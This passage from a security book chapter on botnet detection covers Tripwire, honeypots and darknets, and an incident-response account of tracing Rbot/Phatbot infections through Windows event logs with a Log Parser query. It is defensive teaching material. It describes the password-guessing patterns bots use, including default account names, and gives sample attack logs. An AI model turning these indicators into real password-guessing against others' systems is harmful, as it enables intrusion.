integrated integrity management system.\nTripwire is also sometimes claimed to be an intrusion detection system. In\na general sense, it is, though the tripwire detection concept is strictly reactive.\nIt can tell you that there’s been a change that might be due to malicious\naction, but only once the change has been made.\nThe idea is to create a secure database (ideally kept on read-only media)\nof file “signatures.” In the midst of discussion about attack signatures, this use\nof the term signature might be confusing. It doesn’t refer here to attack signa-\ntures, the usual use of the term in intrusion detection. Instead, it refers to a set\nof encoded file and directory attribute information called a digital signature.\nThe information is captured as a “snapshot” when the system is in a presumed\nclean state, the “signature” is in the form of a CRC, or cryptographic\nchecksum.\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n173\n" }, { "page_number": 192, "text": "“Secure” in the context of Tripwire signatures is a comparative term,\nhowever. In recent years a number of flaws in MD5 have been discussed that\nbring into question its continuing fitness for some applications.Although\nsnefru is theoretically vulnerable to differential cryptanalysis, the attack is cur-\nrently still considered practically infeasible.\nIf a subsequent snapshot comparison with the stored signature indicates\nthat the file has been altered or replaced, this might give you your first\nwarning of an attack. However, you can also use this facility, in tandem with\nother measures such as firewall logs and other system logs, to investigate and\nanalyze a known breach or infection.\nTIP\nWhy would you use a commercial product when there’s an open source\nequivalent? Open-source products don’t usually give you timely profes-\nsional support (at any rate, not for free); there are plenty of gurus and\nother users you can ask, but you don’t have 24/7 help desks and service-\nlevel agreements to fall back on. Don’t underestimate the importance\nof a proper contract: In many environments, the inability to transfer risk\nto a supplier is a deal breaker. Value-adds for a commercial product can\ninclude centralized administration, enhanced reporting facilities, and\nintegration with other applications. In this case, the range of platforms\nand devices that need to be covered might also determine a preference\nfor Tripwire for Servers or Tripwire Enterprise over the open-source ver-\nsions. On the other hand, if you don’t need all the value-added bit and\nare able and prepared to do the hands-on geek stuff, an open-source\napplication may do very well.\nClearly,Tripwire detects intrusion. It doesn’t, by itself, prevent it. Its pur-\npose is to alert you to a breach that has already taken place and assist in ana-\nlyzing the extent of that breach. Irrespective of the version of Tripwire you\nuse, when you initialize the database by taking your first directory snapshot,\nyou need the file system to be intact and clean. If it’s already been compro-\nmised,Tripwire is of very little use to you. Ideally, the system should just have\nbeen installed (what we used to call a “day-zero” installation, before the term\nzero-day became popular as a description of something more sinister).\nwww.syngress.com\n174\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 193, "text": "Tripwire is an example of a defensive technique that has been referred to\nas object reconciliation, integrity detection, change detection, integrity\nchecking, or even integrity management, though these terms are not strictly\ninterchangeable. It was at one time seen as the future of virus detection, when\nthe main alternative was exact identification of viruses, resulting in an\ninevitable window of vulnerability between the release of each virus or\nvariant and the availability of detection updates. For a while, most mainstream\nantivirus packages included some form of change detection software, and\nmany sites used it as a supplement to known virus detection. However,\nMicrosoft operating environments became bigger, more sophisticated, and\nmore complex, and the processing overhead from ongoing change detection\nand changes in the threat landscape meant that the range of places that a virus\ncould hide grew fewer. It’s probable that the disappearance of change detec-\ntors from antivirus toolkits is as much to do with a lack of customer enthu-\nsiasm. Nonetheless, the continued popularity of Tripwire suggests that there is\nstill a ready place for some form of change detection in security, especially in\nintegrity management.\nAre You 0wned?\nTrusting Trust\n“Reflections on Trusting Trust” was a Turing Award Lecture by Ken\nThompson and published in Communications of the ACM (Association\nfor Computing Machinery) in 1984. For a short paper, it’s had quite an\nimpact on the world of computer security. In it, Thompson talks about\nwhat he described as the cutest program he ever wrote, which he\ndescribes in three stages.\nStage one addresses the classic programming exercise of writing a\nprogram that outputs an exact copy of its own source. To be precise, the\nexample he provides is a program that produces a self-producing pro-\ngram, can be written by another program, and includes an “arbitrary\namount of excess baggage.” Stage two centers on the fact that a C com-\npiler is itself written in C. (In fact, it doesn’t have to be, but this chicken-\nand-egg scenario is important to Thompson’s message.) Essentially, it\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n175\nContinued\n" }, { "page_number": 194, "text": "shows example code that adds a new syntactic feature. Stage 3 describes\nthe introduction of a couple of Trojan horses into the compiler. \nThe moral is, as Thompson points out, obvious. “You can’t trust\ncode that you did not totally create yourself.” Thompson’s two-stage\nTrojan attack escapes source-level inspection, since the attack relies on\nthe subverted compiler. A Trojan planted by the supplier of your oper-\nating system is a little extreme, but substitutions and backdoors can\nlurk in any new installation or upgrade. \nExactly what is protected (or rather monitored; for full protection, you\nneed to call on backups and/or reinstallation media) depends on which files\nand directories you configure it to monitor. In principle, it can be set to\nmonitor every—or any—file or directory on a monitored system, not just\nsystem files and directory trees. In general, though, this can be counterpro-\nductive. Even on a server on which system files stay fairly static and contain\nno user data, you’ll need to make exceptions for files that are changed\ndynamically, such as log files. On a system that contains dynamic data, you\nneed to set up a far more discriminating system.\nTripwire configuration and policy files are signed using the site key,\nwhereas the database file and probably the report files are signed with the\nlocal key. Once the database is initialized and signed,Tripwire can be run\nfrom cron according to the settings in the configuration file, which specifies\nwhich files and directories are to be monitored and in what detail. Ignore flags\nspecify the changes that are considered legitimate and that should generate an\nalert. In check mode, the file system objects to be monitored are compared to\nthe signatures in the database:Apparent violations are displayed and logged\nand can also be mailed to an administrator.Apparent violations can, if found\nto be valid, be accepted by selectively updating the database.\nDarknets, Honeypots, and Other Snares\nWhere do you detect bots and botnets? Anywhere you can. Enterprises will\nbe most concerned to detect them locally, but a finely tuned IDS will pick up\ninformation of interest to the rest of the world, and some networks are set up\nspecifically for that purpose.\nwww.syngress.com\n176\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 195, "text": "The term darknet is often encountered in the context of private file-sharing\nnetworks (http://en.wikipedia.org/wiki/Darknet), consisting of virtual net-\nworks used to connect users only to other trusted individuals. However, the\nterm has been extended in the security sphere to apply to IP address space that\nis routed but which no active hosts and therefore no legitimate traffic.\nYou might also hear the terms network telescope (www.caida.org) or black\nhole (because traffic that finds its way in there doesn’t get a response but\nsimply disappears).The maintainers of such a facility will start from the\nassumption that any traffic they do pick up must be either misconfiguration\nor something more sinister. Properly analyzed and interpreted, darknet traffic\nis a source of valuable data on a variety of attacks (backscatter from spoofed\naddresses, DoS flooding) and widely used to track botnets and worm activity.\nMalicious software on the lookout for vulnerable systems can generate a great\ndeal of source material for flow collection, sniffers, and IDSes, without gener-\nating the volume of false positives associated with some IDS measures.\nAs defined by the Cymru Darknet project (www.cymru.com/Darknet/), a\ndarknet does, in fact, contain at least one “packet vacuum” server to “Hoover\nup” inbound flows and packets without actively responding and thus revealing\nits presence.\nDarknets can be used as local early warning systems for organizations with\nthe network and technical capacity to do so, but they are even more useful as\na global resource for sites and groups working against botnets on an Internet-\nwide basis.\nInternet Motion Sensor (IMS) uses a large network of distributed sensors\nto detect and track a variety of attempted attacks, including worms and other\nmalware, DoS and DDoS attacks, and network probes. Like other darknets,\nIMS uses globally routable unused address space but uses proprietary transport\nlayer service emulation techniques to attract payload data (http://ims.eecs.\numich.edu/).\nIMS was designed to meet objectives that tell us quite a lot about what is\nneeded from any darknet in the botnet mitigation process (http://ims.eecs.\numich.edu/architecture.html):\n■\nIt needs to differentiate traffic on the same service. It needs some\ncapability for distinguishing between (rare, in this instance) legitimate\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n177\n" }, { "page_number": 196, "text": "if random and accidental traffic (background noise) and, to be useful,\nbetween different kinds (and sources) of traffic on the same service.\nOtherwise, you are in the same position as an operator who notices a\nspike in traffic on a given port but is unable to distinguish between\nflows, let alone “good” and “bad” traffic.\n■\nWithout this discrimination, you are unable to characterize emerging\nthreats.\n■\nPerhaps the most valuable objective, though, is to provide insight into\nInternet threats that transcend immediate geographical or operational\nboundaries.\nMore information on IMS can be found at www.eecs.umich.edu/\n~emcooke/pubs/ims-ndss05.pdf.\nYou might regard darknets as not dissimilar to a low-interaction honeypot.\nA honeypot is a decoy system set up to attract attackers to learn more about\ntheir methods and capabilities. Lance Spitzner quotes the definition “an infor-\nmation system resource whose value lies in unauthorized or illicit use of that\nresource” (www.newsforge.com/article.pl?sid=04/09/24/1734245).A darknet\ndoesn’t quite meet this description in that it doesn’t advertise its presence.A\nlow-interaction honeypot, however, emulates some network services without\nexposing the honeypot machine to much in the way of exploitation. Because\nit doesn’t interact, it might not capture the same volume of information as a\nhigh-interaction honeypot, which is open to partial or complete compromise.\nHoneyd, by Nils Provos, is an example of a low-interaction honeypot that\ncan present as a network of systems running a range of different services;\nmwcollect and nepenthes simulate an exploitable system and are used to col-\nlect malware samples.\nA honeynet is usually defined as consisting of a number of high-interac-\ntion honeypots in a network, offering the attacker real systems, applications,\nand services to work on and monitored transparently by a Layer 2 bridging\ndevice called a honeywall.A static honeynet can quickly be spotted and black-\nlisted by attackers, but distributed honeynets not only attempt to address that\nissue—they are likely to capture richer, more varied data.\nwww.syngress.com\n178\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 197, "text": "An excellent resource for honeynet information (and other security \nliterature) is the collection of “Know Your Enemy” papers at http://project.\nhoneynet.org/papers/kye.html.\nTIP\nHoneypots feed a number of major information resources:\nThe Shadowserver Foundation (www.shadowserver.org) has a\nrange of information collected from “the dark side of the Internet.” \nResearch and Education Networking Information Sharing and\nAnalysis Center (REN-ISAC) supports organizations connected to\nhigher education and research networks (www.ren-isac.net). \nSpamhaus Project (www.spamhaus.org) is an awesome spam-killing\nresource. Distributed Intrusion Detection System (www.dshield.org) is\nthe data collection facility that feeds the SANS Internet Storm Center.\nAt www.bleedingthreats.net/fwrules/bleeding-edge-Block-IPs.txt,\nthere is a list of raw IP addresses for botnet C&Cs (collected by shad-\nowserver), spamhaus DROP nets, and the Dshield top attacker\naddresses. \nForensics Techniques \nand Tools for Botnet Detection\nForensics aren’t exactly what they used to be. Originally the adjective forensic\nwas applied to processes relating to the application of scientific methodology\nfor presentation to a court of law or for judicial review. Strictly, the field of\ncomputer forensics applies to the recovery of evidence from digital media and is,\nalong with network forensics, a branch of digital forensics. However, in recent\nyears the term has been somewhat divorced from the concept of judicial\nreview.The First Digital Forensic Research Workshop has defined digital foren-\nsics as the “use of scientifically derived and proven methods toward the preser-\nvation, collection, validation, identification, analysis, interpretation, and\ndocumentation of digital evidence derived from digital sources for the pur-\npose of facilitating or furthering the reconstruction of events found to be\ncriminal, or helping to anticipate unauthorized actions shown to be disruptive\nto planned operations” (Robert Slade, Dictionary of Information Security,\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n179\n" }, { "page_number": 198, "text": "Syngress). Network forensics involves the gathering of evidence off the network,\nof course, whereas host forensics refers to gathering evidence from a drive or\ndrive image or from other media.\nForensic aims can include identification, preservation, analysis, and presen-\ntation of evidence, whether or not in court. However, digital investigations\nthat are or might be presented in a court of law must meet the applicable\nstandards of admissible evidence.Admissibility is obviously a concept that\nvaries according to jurisdiction but is founded on relevancy and reliability.\nWe will be focusing on the use of forensic techniques for collecting intel-\nligence about botnets rather than about their use to support prosecution or\ncivil lawsuits.\nTools & Traps…\nUnderstanding Digital Forensics\nA detailed consideration of digital forensics at the judiciary level is way\nbeyond the scope of this chapter. Here, though, just to give you the\nflavor, is a summary of some major issues:\n■You must not jeopardize the integrity of the evidence, so\nyou must be scrupulously careful to avoid all the usual risks\nof handling data in the 21st century, such as exposure to\nextraneous malicious code, (electro)mechanical damage, and\naccidental corruption or deletion. Additionally, you must be\naware of the risk of damage to the evidence from\nembedded malicious code (booby traps), less obvious pitfalls\nsuch as accidental updating or patching of a target system\nor disk, or prematurely terminating processes on a machine\nof which a snapshot has not yet been taken.\n■Establish a chain of custody to minimize the possibility of\ntampering with evidence by accounting for everyone who\nhandles (or has possible access to) it. \n■Work with data copies or a disk image rather than original\ndata to avoid making any changes to it that might affect its\nlegal validity.\nwww.syngress.com\n180\nChapter 5 • Botnet Detection: Tools and Techniques\nContinued\n" }, { "page_number": 199, "text": "■Work with forensically sterile media to avoid cross-\ncontamination.\n■Document everything. The chain of evidence should show\nwho obtained the evidence; what it consists of; how, when\nand where it was obtained; who was responsible for securing\nit; and who has had control of, possession of, or access to the\nevidence. While gathering the evidence, you must:\n■Record every command and switch executed as part of the\nexamination\n■Avoid installing software on the target disk\n■Record time and date stamps before they’re changed\nEven if you’re not expecting to be called into court at some point,\nit still makes sense to work as though you might be. First, it’s just pos-\nsible that an incident might take an unexpected legal turn. Second, if\nyour evidence gathering is scrupulous enough to meet evidential\nadmissibility rules, it’s going to be difficult for higher management to\nsay it’s invalid in the event of your running aground on one of those\npolitical sandbars we all know and love. \nProcess\nIn the real world of computer forensics, each job begins with an ops or oper-\nations order that provides the details for managing the case as well as\ndescribing what you are expected to do. When gathering intelligence about\nbotnet clients, you should do the same. Develop a naming convention for all\ncase-related files and folders so that the mountain of data you gather can be\nuseful two to three months later.\nEach case is different, so in this section we will describe actions taken in a\nreal botnet infestation.The basic ideas will be the same as presented here, but\nthe problem-solving aspect will vary significantly.\nIn this infestation we got our first indication of its existence when a server\nbegan scanning for other recruits. Using the investigative techniques described\nhere, we found, over a period of four months, 200+ botnet clients that were\nnot detected by our network sensors.This infestation was either Rbot or\nPhatbot or both. Both of these botnet types use password-guessing attacks\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n181\n" }, { "page_number": 200, "text": "featuring the same list of default userids.They are both capable of exploiting\nother vulnerabilities, but it was the password-guessing attack that we detected.\nManagement made a decision very early in the incident response that we\nwould not engage law enforcement unless the case met some pre-established\ncriteria, such as:\n■\nLoss of credit card or other financial data\n■\nLoss of student information\n■\nLoss of privacy-protected information\n■\nDiscovery of illegal (contraband) material (such as child pornography)\nIf any of these criteria were met, we would:\n■\nTake a digital signature of the original hard drive.\n■\nCreate a forensically sound image of the original hard drive.\n■\nTake a signature of the imaged hard drive.\n■\nCompare the two digital signatures to ensure that our copy is forensi-\ncally sound.\n■\nEstablish chain of customer documentation.\n■\nAt this point the original hard drive can be returned to service.\n■\nTraditional forensics could be performed on the second copy of the\nhard drive.\nHowever, for the majority of the cases, we performed a quick forensic,\nintended to extract information about the attack vectors, other infected sys-\ntems, the botnet architecture (bot server, payload, functions, C&C method),\nand code samples that can be sent for further analysis.The steps we take in\nthese cases are as follows:\n1. Receive notification of a bot instance.\n2. Open a problem-tracking ticket.\n3. Quarantine the network connection.\n4. Perform a quick forensic process in a controlled environment.\n5. Clean-scan the victim’s computer for viruses.\nwww.syngress.com\n182\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 201, "text": "6. Copy the user’s data.\n7. Reimage the victim’s computer.\nTo prepare for gathering this information, we prepared 1G USB memory\nsticks. We chose a set of very useful tools, mostly from the sysinternals tools\nlocated at www.microsoft.com/technet/sysinternals/default.mspx. In our tool\nchest, we included Process Explorer (now called Process Monitor),TCPView,\nAutoruns, Rootkit Revealer, and a small application called AntiHookExec\n(www.security.org.sg/code/antihookexec.html), which the author claims will\nlet you execute an application in a way that is free from stealth application\nhooks. In other words, it lets them see hidden applications. Unfortunately, it\nworks only with XP or newer operating systems. We also included a batch file\n(find.bat, described in Chapter 2), conveniently provided by the botherder\nand edited by us, that searched through the computer to locate where he had\nput his files. It seems that when you have thousands of computers to manage,\nyou forget where you put things.\nNext we chose a naming scheme for the folders that would be collected.\nThis was an important step because the data was going to be collected by\nmany people—some security staff but mostly help desk support and business\nliaison IT staff. Our folder-naming convention consisted of the computer\nname (the NetBios name of the computer), the date (in yymmdd format), and\nthe help desk ticket number. Log files and picture images we created were\nnamed in the format Computer Name Date Description. So the security event\nlog for a computer called Gotham that was gathered on December 27, 2006,\nwould be called GOTHAM 061227 Security Event.evt. Within the main\nfolder you want to make a distinction between files that actually existed on\nthe computer and analysis files gathered about the computer (such as the files\nsaved by Process Explorer).\nSince we are not gathering the information as evidence, we can attempt\nto use the tools present on the computer with the caveat that the bot may\ninterfere with the reliability of what we see. If we have external confirmation\nthat a computer is part of the botnet, yet we find nothing during this exami-\nnation, we perform an external virus scan of the hard drive using another\nsystem. In our case, we do a PXE boot of the system on an isolated network\nusing a clean computer that is used only for virus scanning. We only do this if\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n183\n" }, { "page_number": 202, "text": "we find nothing on the computer, since the virus scanner will actually delete\nsome of the intelligence data we are looking for. In our sample case, the intel-\nligence data we were looking for was found on the computer, so we did not\nrun a virus scan until after we completed the forensics.\nFirst we open a help desk ticket. We use the RT ticketing system to track\nall virus infections.This permits us to know whether a system has been rein-\nfected after it has been cleaned.The ticket first goes to the network team to\nplace that computer’s network connection in a network quarantine area, to\nprevent further spread of the bot while permitting the user to do some useful\nwork.Then we track down the computer and begin to gather the event logs\nand the virus scanner logs.The order of the data isn’t important. We chose\nthis order to ensure that we had gathered the static data before we started\nchasing the interesting stuff.\nEvent Logs\nThe event logs are located in Windows or WINNT directory under\n%WinDir%\\system32\\config.These files end in .evt, but we have seen them\nwith different capitalization schemes (.evt, .EVT, .Evt).\nThe security event log is controlled by the Local Policy | Audit Policy\nsettings. For this type of analysis, the following policies should be set to suc-\ncess, failure:\n■\nAudit account logon events\n■\nAudit account management\n■\nAudit policy change\n■\nAudit privilege use\nIn practice, we usually gather all the logs and then examine them one at a\ntime in real time, then later analyze them in nonreal time. Here we describe\nthe examination process as we tell how to locate each log. Use the\nAdministrative tool and Event Viewer to examine the security event log. In\nthe security event log you are looking first for failed logins (see Figure 5.4).\nYou can sort the file by clicking the Type column.This will divide the log\ninto successes and failures. In our case the entries of interest are the failed\nlogins with a login type 3, the network login.You can find more information\nwww.syngress.com\n184\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 203, "text": "about the login types listed in the event log at\nhttp://technet2.microsoft.com/WindowsServer/en/library/e104c96f-e243-\n41c5-aaea-d046555a079d1033.msp, or search Microsoft for audit logon events.\nIn addition, we looked for instances of logon type 3 in which the origi-\nnating workstation name differed from the victim’s computer and where the\ndomain name is the name of the attacking computer. In most environments,\nthis should be a rare occurrence.The victim’s computer would have to be\nactively sharing files and adding local accounts from the other computer as\nusers on the victim’s computer.\nFigure 5.4 Failed Login Record\nTo clinch the deal, password-guessing attacks occur much more rapidly\nthan any human can type.This won’t be the case every time.The password-\nguessing tools we have captured can throttle down the attack frequency (x\nattacks over y hours), so it might not be so obvious (see Figure 5.5).\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n185\n" }, { "page_number": 204, "text": "Figure 5.5 A Password-Guessing Attack\nBoth Phatbot and Rbot provide other clues that a password-guessing\nattack is real. Earlier in the book we listed the default userids they both can\nuse.You might not see this in every attack, but if the bot hasn’t gathered any\nuserids locally yet, or if the gathered userids haven’t gotten in, the bot might\ntry userids from the default list.They almost always try Administrator, so if\nyou have renamed this account, its appearance in a failed login attempt raises\nthe probability that this is an attack. If you see attempts using userids of\nAdministrador, then administrateur as the login ID, you can be sure that this is\npassword-guessing attack and that a bot (likely Phatbot, Rbot, or another\nrelated bot family) is attacking the victim’s computer. If the attempts happen\nto take place during times that no one is supposed to be working in that\ndepartment, you can be even more certain.\nSo, what’s the point of analyzing this data? You are examining this com-\nputer because someone already said it was virus infected or because one of\nyour intelligence sources spotted it talking to a known C&C server. Here’s\nthe value of this analysis:The computers listed in the workstation field of the\nfailed login records type 3 login, where the workstation field differs from the\nvictim’s computer name, are all infected computers. Using this technique\nduring the analysis phase, we have found over 200 infected computers that\nwere part of one botnet.This is despite the fact that we actively scan for bot\nwww.syngress.com\n186\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 205, "text": "C&C activity.This is defense in depth at its finest. However, that is during the\nanalysis step, which we will cover later in this chapter. In this step we are\ntrying to determine the attack vector, the time of the successful attempt, and\nthe userid that successfully logged in (which should now be considered com-\npromised).\nFinding these failed login attempts tells us that password guessing was one\nof the attack vectors. Finding a successful login among the attempts using one\nof the attempted userids or immediately following the last attempt is valuable\nbecause it marks the time of the actual break-in.Take note of this time\nbecause you will use it later to look for files associated with the break-in (see\nFigure 5.6).\nFigure 5.6 A Successful Break-in\nDuring the analysis phase you can use a log processor such as Log Parser\nfrom Microsoft to process multiple log files at once.At the time of this\nprinting, Log Parser can be downloaded from www.microsoft.com/down-\nloads/details.aspx?FamilyID=890cd06b-abf8-4c25-91b2-f8d975cf8c07&dis-\nplaylang=en. Log Parser reads the event files and permits the analyst to craft\nSQL queries to extract information.\nWe created a batch file containing a single line:\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n187\n" }, { "page_number": 206, "text": "C:\\”Program Files\\Log Parser 2.2\\”LogParser.exe -o:CSV\nfile:LogonFailuresDistinct2.sql?machine=*”\nThis line says,“Run log parser, read the file LogonFailures.sql, execute the\nSQL commands you find there, report what you find for all machines, and\nplace the results in a comma-separated value file.”\nThe SQL query LogonFailures says:\nSELECT \nDISTINCT TimeGenerated, STRCAT(\nEXTRACT_TOKEN(Strings, 1,\n‘|’),\nSTRCAT(‘\\\\’,EXTRACT_TOKEN( Strings, 0, ‘|’ ) ) ) AS User, \n[ComputerName] As Targeted_Computer, \nEXTRACT_TOKEN( Strings,5,’|’) AS [Attacking_Workstation] \nFROM .\\logs2\\*.evt \nWHERE EventType = 16 AND EventCategory = 2 AND Attacking_Workstation <>\nComputerName\nThis query will cause Log Parser to:\n■\nExtract the time-generated field\n■\nExtract the user name and login domain and concatenate them to\nform field called User\n■\nRelabel the ComputerName field to Targeted Computer\n■\nFind the Workstation field \nLog Parser is to do this from all the event logs in .\\logs for all logon\nevents (Event Category 2) that failed (Event Type 2) and where the attacking\nworkstation name doesn’t match the ComputerName field.\nTable 5.1 shows a sample of output from this SQL query.You can see that\nattacks came from two computers,ATTACKER1 and ATTACKER2.\nATTACKER2 shows the pattern consistent with an automated password-\nguessing attack, with attempts coming one a second for an hour. It is also a\nbit of a clue that there were 2200 attempts during that hour.You can also see\nthat the attacker in our greatly modified example used a dictionary con-\ntaining five passwords to try for each userid. When you consolidate all the\nlogs like this for analysis, you can see the attack pattern. Find an attacker and\nthen look for the attacker in the Victim column.You can note which com-\nputer infected that one and trace it backward in the Victim column, thus\nwww.syngress.com\n188\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 207, "text": "reconstructing the timeline of the spread of the botnet.This will often show\nthe pattern called “fan out,” where the botnet infects a single computer in a\nnew subnet, then that computer fans out to infect others in the same subnet.\nUsing this technique we are able to turn the bot client attack vector into an\nintelligence source.\nTable 5.1 Sample Output from Log Parser SQL Query\nTargeted_\nAttacking_\nTimeGenerated\nUser\nComputer\nWorkstation\n8/3/2006 8:40:24\nATTACKER1\\jdoe\nVICTIM\nATTACKER1\n8/3/2006 8:44:02\nATTACKER1\\jdoe\nVICTIM\nATTACKER1\n8/3/2006 8:46:51\nATTACKER1\\jdoe\nVICTIM\nATTACKER1\n8/3/2006 8:50:37\nATTACKER1\\jdoe\nVICTIM\nATTACKER1\n8/3/2006 8:53:33\nATTACKER1\\jdoe\nVICTIM\nATTACKER1\n8/3/2006 8:57:17\nATTACKER1\\jdoe\nVICTIM\nATTACKER1\n8/14/2006 10:25:00\nATTACKER1\\jdoe\nVICTIM\nATTACKER1\n8/14/2006 10:29:09\nATTACKER1\\jdoe\nVICTIM\nATTACKER1\n8/14/2006 10:31:46\nATTACKER1\\jdoe\nVICTIM\nATTACKER1\n8/14/2006 10:35:23\nATTACKER1\\jdoe\nVICTIM\nATTACKER1\n8/16/2006 8:21:06\nATTACKER2\\\nVICTIM\nATTACKER2\nAdministrator\n8/16/2006 8:21:07\nATTACKER2\\\nVICTIM\nATTACKER2\nAdministrator\n8/16/2006 8:21:08\nATTACKER2\\\nVICTIM\nATTACKER2\nAdministrator\n8/16/2006 8:21:09\nATTACKER2\\\nVICTIM\nATTACKER2\nAdministrator\n8/16/2006 8:21:11\nATTACKER2\\\nVICTIM\nATTACKER2\nAdministrator\n8/16/2006 8:21:13\nATTACKER2\\\nVICTIM\nATTACKER2\nAdministrador\n8/16/2006 8:21:14\nATTACKER2\\\nVICTIM\nATTACKER2\nAdministrador\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n189\nContinued\n" }, { "page_number": 208, "text": "Table 5.1 continued Sample Output from Log Parser SQL Query\nTargeted_\nAttacking_\nTimeGenerated\nUser\nComputer\nWorkstation\n8/16/2006 8:21:15\nATTACKER2\\\nVICTIM\nATTACKER2\nAdministrador\n8/16/2006 8:21:16\nATTACKER2\\\nVICTIM\nATTACKER2\nAdministrador\n8/16/2006 8:21:17\nATTACKER2\\\nVICTIM\nATTACKER2\nAdministrador\n8/16/2006 8:21:18\nATTACKER2\\\nVICTIM\nATTACKER2\nAdministrateur\n8/16/2006 8:21:20\nATTACKER2\\\nVICTIM\nATTACKER2\nAdministrateur\n8/16/2006 8:21:21\nATTACKER2\\\nVICTIM\nATTACKER2\nAdministrateur\n8/16/2006 8:21:23\nATTACKER2\\\nVICTIM\nATTACKER2\nAdministrateur\n8/16/2006 8:21:27\nATTACKER2\\\nVICTIM\nATTACKER2\nAdministrateur\nYou can find basic explanations in the accompanying help file and by\nsearching the Microsoft site for Logparser.There is also a much more in-depth\ntreatment of uses of Log Parser in the Syngress book, Microsoft Log Parser\nToolkit, written by Gabriele Giuseppini and Mark Burnett. Guiseppini is one\nof the Microsoft developers of the tool.\nThe computers listed in the Attacking Workstation column are the infected\nsystems, unless you can discover a legitimate reason for the failed attempt to\nconnect two workstations. For example, you might discover that a small group\nof workstations in a lab have set up shares between them, and users periodically\nconnect workstations. For this reason, we include as much of the following\ninformation as we can in the help desk ticket for this incident:\n■\nComputer name and source\n■\nIP address and source\n■\nMAC address and source\nwww.syngress.com\n190\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 209, "text": "■\nWhat was observed (e.g., password-guessing attack against Victim1)\n■\nUserid used\n■\nDate/time of the most recent attempt\n■\nUser name\n■\nBuilding, room, and jack number\nWe discovered that it was necessary to know what was solid information\n(found in the logs) and what was derived (e.g., IP address from NSLookup of\ncomputer name).The time last observed is important, especially in environ-\nments using DHCP, since you are only interested in the computer that held a\nparticular IP address during the time of the event observed in the logs. In our\ncase, the lookup table we used for building, room number, and jack number\nwas horribly out of date and consequently inaccurate. If the computer was\nonline, the networking team could confirm the room number and data jack\nby reading the switch that detected the computer.The most difficult part of\nthis process proved to be matching the infected machine with a user and\nlocation.\nSeveral critical pieces of our infrastructure are missing.There is no asset\nmanagement system, so the asset database is not linked to the help desk\nsystem.The database that links the building room and data jack information\nto a switch port has not been kept up to date.The building maps to room and\ndata jacks haven’t been kept up to date, so we keep sending techs out to\nrooms that no longer exist.There is no simple way to correlate the computer’s\nNetBios name to its IP address and MAC address.Although there is a stan-\ndard naming convention for computers, it is loosely followed by other depart-\nments. It is next to impossible to find a computer of the name LAPTOP in a\npopulation of 27,000 users. In XP, the security event log record only contains\nthe computer NetBIOS name, not the IP address; the way our DNS is setup,\nfew of these NetBIOS names are found using nslookup.\nUnder these circumstances, we have had to find creative ways to locate\nthese infected computers. If the userid has portions of a name, we try student\nand faculty records to see if there is a match or a short list of candidates.\nSometimes the computer name is somewhat unique, and a search of the uni-\nversity’s Web pages can win the prize. One tough case was a computer called\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n191\n" }, { "page_number": 210, "text": "ELEFANT. Searching through the university’s Web pages revealed a Web page\nfor the chemistry department’s lab network that touted ELEFANT as the\nmost important computer in their lab.The Web page also identified the lab\nmanager’s name, phone number, and e-mail address.\nOnce we are confident in the IP address associated with an attacker, the\nhelp desk ticket is assigned to our networking group.The networking group\nplaces the switch port associated with the attacker into a network jail,\nalthough our kindler, gentler customer service interface calls it a “network\nquarantine” when speaking to our customers.The networking group then\nconfirms the building and room information directly from the switch, to con-\nfirm the data base entries we posted earlier.\nOnce the computer’s location has been determined, the help desk ticket is\nassigned to our desktop support techs, who arrange for it to be retrieved for\nour quick forensic exam and reimaging. We had determined early in the pro-\ncess that with this bot, reimaging was preferable to attempting to remove the\nvirus and chancing that we would miss something. Reimaging also gave us\nthe opportunity to remove the offending local administrator accounts.\nAs we processed systems, we realized that we needed to collect and corre-\nlate information about all the systems we had identified. For that we estab-\nlished a spreadsheet that brings together all the relevant information.That\nway, if we see a system in an event log two months from now, we can confirm\nwhether the system was reimaged since the time of the new sighting or if this\nis a reinfection.\nWe are now experimenting with using a tool called NTSyslog, available\nfor download at http://sourceforge.net/projects/ntsyslog, to automatically for-\nward the Security Event logs to a central syslog server.The central syslog\nserver formats the data for an SQL database and then will run the above\nquery in near real time.This has the effect of turning this approach into an\nearly warning tool instead of a recovery tool.\nFirewall Logs\nIn addition to the logs we’ve already discussed, you should gather any firewall\nlogs.The default location for Windows XP firewall logs is in\n%WinDir%\\pfirewall.log. By default, firewall logging is not turned on. It can\nbe and should be turned on by group policy and configured so the user can’t\nwww.syngress.com\n192\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 211, "text": "turn it off. Even if you have no plans to use its port-filtering capabilities, it\nprovides a valuable record for understanding botnet activity.The firewall can\nbe controlled by the group policy settings in Computer Configuration |\nAdministrative Templates | Network | Network Connections |\nWindows Firewall.There are some exceptions that you should configure,\nbut the details of configuring the policy settings are beyond the scope of this\nbook.A nice write-up on configuring the firewall-related policy settings is\nlocated here: www.microsoft.com/technet/prodtechnol/winxppro/\nmaintain/mangxpsp2/mngwfw.mspx.\nThe policy we are interested in is the Windows Firewall:Allow logging\npolicy.You should select logging for both logging dropped packets and log-\nging successful connections. It lets you set the log filename and the maximum\nsize of the log.A good size is about 4096K. Windows keeps two generations\nof the log file and more if you have system restore turned on.\nYou would examine the firewall log during analysis and not during the\nquick forensics step.Table 5.2 shows a few sample entries from Windows fire-\nwall log. For illustration we’ve included at least one of each type of action\nthat the firewall records (Open, Closed, Drop, and Open-Inbound). We rec-\nommend that you use a log-parsing tool like Log Parser to assist in analyzing\nthe information, but in case you want to try analyzing the data without it, 